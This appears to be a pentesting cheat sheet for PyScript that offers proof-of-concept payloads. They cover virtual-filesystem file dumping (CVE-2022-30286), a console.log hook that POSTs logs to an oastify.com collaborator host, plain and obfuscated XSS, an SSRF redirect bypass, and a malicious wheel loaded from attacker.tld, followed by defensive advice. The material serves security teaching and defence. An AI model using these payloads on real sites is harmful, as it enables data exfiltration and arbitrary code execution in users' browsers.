## PyScript Pentesting Guide
|
||
|
||
PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.
|
||
|
||
### Dumping / Retrieving files from the Emscripten virtual memory filesystem:
|
||
|
||
`CVE ID: CVE-2022-30286`\
|
||
\
|
||
Code:
|
||
|
||
```html
|
||
<py-script>
|
||
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
|
||
= fin.read() print(out)
|
||
</py-script>
|
||
```
|
||
|
||
Result:
|
||
|
||

|
||
|
||
`CVE ID: CVE-2022-30286`\
|
||
\
|
||
Code:
|
||
|
||
```html
|
||
<py-script>
|
||
x = "CyberGuy" if x == "CyberGuy": with
|
||
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
|
||
print(contents) print('
|
||
<script>
|
||
console.pylog = console.log
|
||
console.logs = []
|
||
console.log = function () {
|
||
console.logs.push(Array.from(arguments))
|
||
console.pylog.apply(console, arguments)
|
||
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
|
||
method: "POST",
|
||
headers: { "Content-Type": "text/plain;charset=utf-8" },
|
||
body: JSON.stringify({ content: btoa(console.logs) }),
|
||
})
|
||
}
|
||
</script>
|
||
')
|
||
</py-script>
|
||
```
|
||
|
||
Result:
|
||
|
||

|
||
|
||
### Cross Site Scripting (Ordinary)
|
||
|
||
Code:
|
||
|
||
```python
|
||
<py-script>
|
||
print("<img src=x onerror='alert(document.domain)'>")
|
||
</py-script>
|
||
```
|
||
|
||
Result:
|
||
|
||

|
||
|
||
### Cross Site Scripting (Python Obfuscated)
|
||
|
||
Code:
|
||
|
||
```python
|
||
<py-script>
|
||
sur = "\u0027al";fur = "e";rt = "rt"
|
||
p = "\x22x$$\x22\x29\u0027\x3E"
|
||
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
|
||
e = "c\u003d";q = "x"
|
||
y = "o";m = "ner";z = "ror\u003d"
|
||
|
||
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
||
</py-script>
|
||
```
|
||
|
||

## New vulnerabilities & techniques (2023-2025)
|
||
|
||
### Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182)
|
||
|
||
`urllib3 < 2.5.0` ignores the `redirect` and `retries` parameters when it is executed **inside the Pyodide runtime** that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them ‑ effectively bypassing anti-SSRF logic.
|
||
|
||
```html
|
||
<script type="py">
|
||
import urllib3
|
||
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
|
||
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
|
||
print(r.status, r.url)
|
||
</script>
|
||
```
|
||
|
||
Patched in `urllib3 2.5.0` – upgrade the package in your PyScript image or pin a safe version in `packages = ["urllib3>=2.5.0"]`. See the official CVE entry for details.
|
||
|
||
### Arbitrary package loading & supply-chain attacks
|
||
|
||
Since PyScript allows arbitrary URLs in the `packages` list, a malicious actor who can modify or inject configuration can execute **fully arbitrary Python** in the victim’s browser:
|
||
|
||
```html
|
||
<py-config>
|
||
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
|
||
</py-config>
|
||
<script type="py">
|
||
import payload # executes attacker-controlled code during installation
|
||
</script>
|
||
```
|
||
|
||
*Only pure-Python wheels are required – no WebAssembly compilation step is needed.* Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes.
|
||
|
||
### Output sanitisation changes (2023+)
|
||
|
||
* `print()` still injects raw HTML and is therefore XSS-prone (examples above).
|
||
* The newer `display()` helper **escapes HTML by default** – raw markup must be wrapped in `pyscript.HTML()`.
|
||
|
||
```python
|
||
from pyscript import display, HTML
|
||
|
||
display("<b>escaped</b>") # renders literally
|
||
|
||
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
|
||
```
|
||
|
||
This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on `display()` for untrusted input and avoid calling `print()` directly.
|
||
|
||
---
|
||
|
||
## Defensive Best Practices
|
||
|
||
* **Keep packages up to date** – upgrade to `urllib3 >= 2.5.0` and regularly rebuild wheels that ship with the site.
|
||
* **Restrict package sources** – only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI).
|
||
* **Harden Content Security Policy** – disallow inline JavaScript (`script-src 'self' 'sha256-…'`) so that injected `<script>` blocks cannot execute.
|
||
* **Disallow user-supplied `<py-script>` / `<script type="py">` tags** – sanitise HTML on the server before echoing it back to other users.
|
||
* **Isolate workers** – if you do not need synchronous access to the DOM from workers, enable the `sync_main_only` flag to avoid the `SharedArrayBuffer` header requirements.
